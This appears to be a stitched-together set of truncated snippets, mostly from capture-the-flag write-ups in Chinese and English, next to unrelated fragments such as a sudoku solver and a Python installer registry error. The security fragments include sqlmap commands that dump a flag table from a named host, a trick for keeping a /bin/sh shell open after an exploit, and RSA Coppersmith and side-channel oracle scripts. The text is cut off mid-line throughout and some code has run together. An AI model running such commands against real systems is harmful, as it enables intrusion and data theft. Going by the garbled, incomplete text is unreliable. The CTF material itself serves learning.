find = find_empty(board) if not find: return True else: row, col = find for i in range(1, 10): if is_valid(board, i, (row, col)): board[row][col] = i if solve(board): return True board[row][col] = 0 return False def parse_input(input_list): board = [] for row in...
安装Python时,报错could not write value to key…后面跟着一对路径,其实这并不是针对python安装报的错,网上有很多人在安装各种东西时都出现过could not write value to key的错误信息,这个错误和权限有关,大意就是无法往某个注册表中写入值 解决这个问题的办法 要多尝试几种 1.使用管理员权限安装 2.退出杀毒软...
为了确保预计算的数据被真正使用,复制粘贴在第一次计算的输出中指明的命令行,其中包括 “If you want to compute a new target…”,并在最后设置新的target。 重要提示:对数是以一个任意的(未知的)基数给出的。 如果你想根据一个特定的生成元g来定义它们,那么你将不得不计算g的对数,然后用所有的对数除以这个...
index.html里有一句话:can u find my secret? 在两个js文件里搜,找到一个图片文件名:iZwz9i9xnerwj6o7h40eauZ.png,下下来,用Stegsolver看一下LSB,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==,根据U2FsdGVkX1猜测是密文,试了一下,3DES,密钥是index.html中的字符串ON...
I just modified my callgrind solver to solve this challenge. $catoracle.py#!/usr/bin/python -u#-*- coding:utf-8 -*-# Let's exploit easy and quick!# 1) apt install valgrind# 2) use callgrind to find instruction countflag='TMCTF{'n=0importosimportsys# format given by admincharset...
方程分解 $N$. #!/usr/bin/sage -python from sageall import * from Crypto.Util.numberimport long_to_bytes import gmpy2 _p = p0 - (p0&(2**668-2**444)) PR = PolynomialRing(Zmod(N1), 'x') x = PR.gen() f = 2**444 * x + _p f = f.monic() r = f.small_roots(X...
We have RSA ciphertext of two related messages, with small random paddings. This is standard case for coppersmith. I was able to find a script online and modify it to calculate the exact diff, then recover plaintext with gcddef short_pad_attack(c1, c2, e, n): PRxy.<x,y> = ...
If you ever need to get a /bin/sh shell and you are sure it works but the program exits anyways, use this trick: ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program> pwntools does this with its process.interactive()PIE (Positional Independent Execution)determine random value ...
python sqlmap.py –u http://syc.myclover.org/pentest/web1/read.php?id=1 --dbms mysql -D webbase1 -T flag --dump Web Base2 Post搜索型注入。 python sqlmap.py –u http://syc.myclover.org/pentest/web2/search.php --data “key=my” --dbms mysql -D webbase2 -T #flag --dump...
First, I see the parameter prompt in the HTML source code. After adding the parameter, the image of the page will change every time. The image name is the base64 encoded fragment, and then I request multiple times to get all the fragments. Finally, splic the fragments and decoded to get...